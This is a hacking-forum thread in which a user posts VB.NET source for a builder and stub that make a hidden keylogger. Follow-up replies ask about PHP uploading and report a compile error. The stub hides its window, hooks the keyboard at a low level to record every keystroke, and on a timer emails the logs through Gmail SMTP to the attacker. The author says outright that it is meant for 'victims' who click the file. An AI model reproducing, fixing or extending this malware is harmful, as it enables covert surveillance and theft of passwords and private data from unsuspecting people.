[Tr0ne]

Heh forum am going to show a basic Keylogger which you can expand . Literally its not mine but ive look at the code once or twice and grab the concept really quickly and expand it

For example you want to make a builder and stub which will send for e.g logs on you mail account when you victims click on it

The Stub contain literally 90% of your code and it will not be visible on-click (by setting its properties) since your server will behave the almost the same way as your stub.
The builder part you will need 2 textbox and 2 label and and 2 button

Label 1 Username Textbox
Label 2 Password Texbox2
Button1 test email
Button2 build

Code:

Imports System.Windows.Forms
Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail
Imports System.Net

Public Class Form1


    Dim milf, text1, text2 As String
    Const FileSplit = "@fuckyousharahpalin@"

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

End Sub


    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        Try
            Dim Mail As New MailMessage
            Mail.Subject = "Tr0ne banging palint"
            Mail.To.Add(TextBox1.Text)
            Mail.From = New MailAddress(TextBox1.Text)
            Mail.Body = "stop being a leech bitch got a penis"
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
            SMTP.Port = 587
            SMTP.Send(Mail)
            MsgBox("E-mail is vaild and works perfect.", MsgBoxStyle.Information, "Works perfect")
        Catch ex As Exception
            MsgBox("Error, invaild e-mail username or password.", MsgBoxStyle.Critical, "Error")
            Exit Sub
        End Try
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        text1 = TextBox1.Text
        text2 = TextBox2.Text
      

  
      

        FileOpen(1, Application.StartupPath & "\pussy.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
        milf = Space(LOF(1))
        FileGet(1, milf)
        FileClose(1)

        If File.Exists(Application.StartupPath & "\server.exe") Then
            My.Computer.FileSystem.DeleteFile(Application.StartupPath & "\server.exe")
        End If

        FileOpen(1, Application.StartupPath & "\server.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
        FilePut(1, milf & FileSplit & text1 & FileSplit & text2 )
        FileClose(1)

        MsgBox("Tr0ne Server Was Created Successfully In : " & Application.StartupPath & "\server.exe")

    End Sub

Our builder is ready now our stub (pussy.exe) i will use coder san hook code here(i havent try it) but its good
so here you will need 3 textbox and 1 label.
Textbox1 logs type
Textbox2 email
Texbox 3 password
Timer1 (true) interval you want your logs, 1000 for 1 sec put it atleast 60000
make sure you input this to make the server invisible
Me.Hide()
Me.Opacity = 0
Me.ShowInTaskbar = False

Code:

Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail
Imports System.Environment
Imports System.Net.Mail.MailMessage
Imports System.Collections.Generic
Imports System.Text
Imports System
Imports System.Data
Imports System.Net
Imports System.Collections
Imports System.Runtime.InteropServices

Public Class Form1
    Dim options(), text1, text2 As String
    Const FileSplit = "@fuckyousharahpalin@"

    Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" (ByVal dwProcessId As Integer, ByVal dwType As Integer) As Integer


    Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
    Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
    Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer


    Public Class KeyboardHook
        Private Const HC_ACTION As Integer = 0
        Private Const WH_KEYBOARD_LL As Integer = 13
        Private Const WM_KEYDOWN = &H100
        Private Const WM_KEYUP = &H101
        Private Const WM_SYSKEYDOWN = &H104
        Private Const WM_SYSKEYUP = &H105

        Private Structure KBDLLHOOKSTRUCT
            Public vkCode As Integer
            Public scancode As Integer
            Public flags As Integer
            Public time As Integer
            Public dwExtraInfo As Integer
        End Structure

        Private Declare Function SetWindowsHookEx Lib "user32" _
        Alias "SetWindowsHookExA" _
        (ByVal idHook As Integer, _
        ByVal lpfn As KeyboardProcDelegate, _
        ByVal hmod As Integer, _
        ByVal dwThreadId As Integer) As Integer

        Private Declare Function CallNextHookEx Lib "user32" _
        (ByVal hHook As Integer, _
        ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByVal lParam As KBDLLHOOKSTRUCT) As Integer

        Private Declare Function UnhookWindowsHookEx Lib "user32" _
        (ByVal hHook As Integer) As Integer


        Private Delegate Function KeyboardProcDelegate _
        (ByVal nCode As Integer, _
        ByVal wParam As Integer, _
        ByRef lParam As KBDLLHOOKSTRUCT) As Integer


        Public Shared Event KeyDown(ByVal Key As Keys)
        Public Shared Event KeyUp(ByVal Key As Keys)

        Private Shared KeyHook As Integer

        Private Shared KeyHookDelegate As KeyboardProcDelegate

        Public Sub New()

            KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
            KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
        End Sub

        Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer

            If (nCode = HC_ACTION) Then
                Select Case wParam

                    Case WM_KEYDOWN, WM_SYSKEYDOWN

                        RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
                    Case WM_KEYUP, WM_SYSKEYUP

                        RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
                End Select
            End If

            Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
        End Function
        Protected Overrides Sub Finalize()

            UnhookWindowsHookEx(KeyHook)
            MyBase.Finalize()
        End Sub
    End Class
    Private WithEvents kbHook As New KeyboardHook
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
    Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32
    Dim strin As String = Nothing




    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Me.Hide()
        Me.Opacity = 0
        Me.ShowInTaskbar = False
        
        FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)

        text1 = Space(LOF(1)) 'username
        text2 = Space(LOF(1)) 'password
        
      
    

        FileGet(1, text1) ' options(1) username
        FileGet(1, text2) ' options(2) password
      
      

        FileClose(1)
        options = Split(text1, FileSplit)
        TextBox2.Text = options(1) 'username
        TextBox3.Text = options(2) 'password
    

   End Sub
Private Sub kbHook_KeyDown(ByVal Key As System.Windows.Forms.Keys) Handles kbHook.KeyDown
        Dim bShift As Boolean = My.Computer.Keyboard.ShiftKeyDown
        Dim bCaps As Boolean = My.Computer.Keyboard.CapsLock

        Dim strBuilder As New System.Text.StringBuilder
        Select Case CInt(Key)
            Case 48 To 57
                Dim ArrNum As Char() = {")", "!", "@", "#", "$", "%", "^", "&", "*", "("}
                strBuilder.Append(If(bShift = True, ArrNum(CInt(Key) - 48), CInt(Key) - 48))
            Case 65 To 90
                If (bShift = False And bCaps = False) Or (bShift = True And bCaps = True) Then
                    strBuilder.Append(Key.ToString.ToLower)
                ElseIf (bShift = False And bCaps = True) Or (bShift = True And bCaps = False) Then
                    strBuilder.Append(Key.ToString.ToUpper)
                End If
            Case 96 To 105
                strBuilder.Append(CInt(Key) - 96)
            Case 186 To 192
                Dim ArrSymbShift As Char() = {":", "+", "<", "_", ">", "?", "~"}
                Dim ArrSymb As Char() = {";", "=", ",", "-", ".", "/", "`"}
                strBuilder.Append(If(bShift = True, ArrSymbShift(CInt(Key) - 186), ArrSymb(CInt(Key) - 186)))
            Case 219 To 222
                Dim ArrSymbShift As Char() = {"{", "|", "}", """"}
                Dim ArrSymb As Char() = {"[", "\", "]", "'"}
                strBuilder.Append(If(bShift = True, ArrSymbShift(CInt(Key) - 219), ArrSymb(CInt(Key) - 219)))
            Case Else
                Select Case Key
                    Case Keys.Back
                        strBuilder.Append("←")
                    Case Keys.Return
                        strBuilder.Append("↵" & vbNewLine)
                    Case Keys.Space
                        strBuilder.Append(" ")
                    Case Keys.Tab
                        strBuilder.Append("[TAB]")
                    Case Keys.End
                        strBuilder.Append("[END]")
                    Case Keys.Escape
                        strBuilder.Append("[ESC]")
                    Case Keys.Divide
                        strBuilder.Append("/")
                    Case Keys.Decimal
                        strBuilder.Append(".")
                    Case Keys.Subtract
                        strBuilder.Append("-")
                    Case Keys.Add
                        strBuilder.Append("+")
                    Case Keys.Multiply
                        strBuilder.Append("*")
                End Select
        End Select

        TextBox1.AppendText(strBuilder.ToString)
    End Sub


Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    
        Dim MyMailMessage As New MailMessage()
         MyMailMessage.From = New MailAddress(TextBox2.Text)
        MyMailMessage.To.Add(TextBox2.Text)
        MyMailMessage.Subject = "Tr0ne keylogger logs"
        MyMailMessage.Body = TextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        TextBox1.Clear()

    End Sub
  
End Class

You can customise your own and add lot of option i really hope you like the tutorial do comment

[FANBOY]

that was good ! but i need know how to upload by Php ! can make a thread ?

---

error in strBuilder.Append(If(bShift = True, ArrNum(CInt(Key) - 48), CInt(Key) - 48))
this line

[Tr0ne]

upload by php there ripway.com where you can sign up
For the keylogger just build it and haven't find any error use .net framework 4.0

[FANBOY]

thanks for the information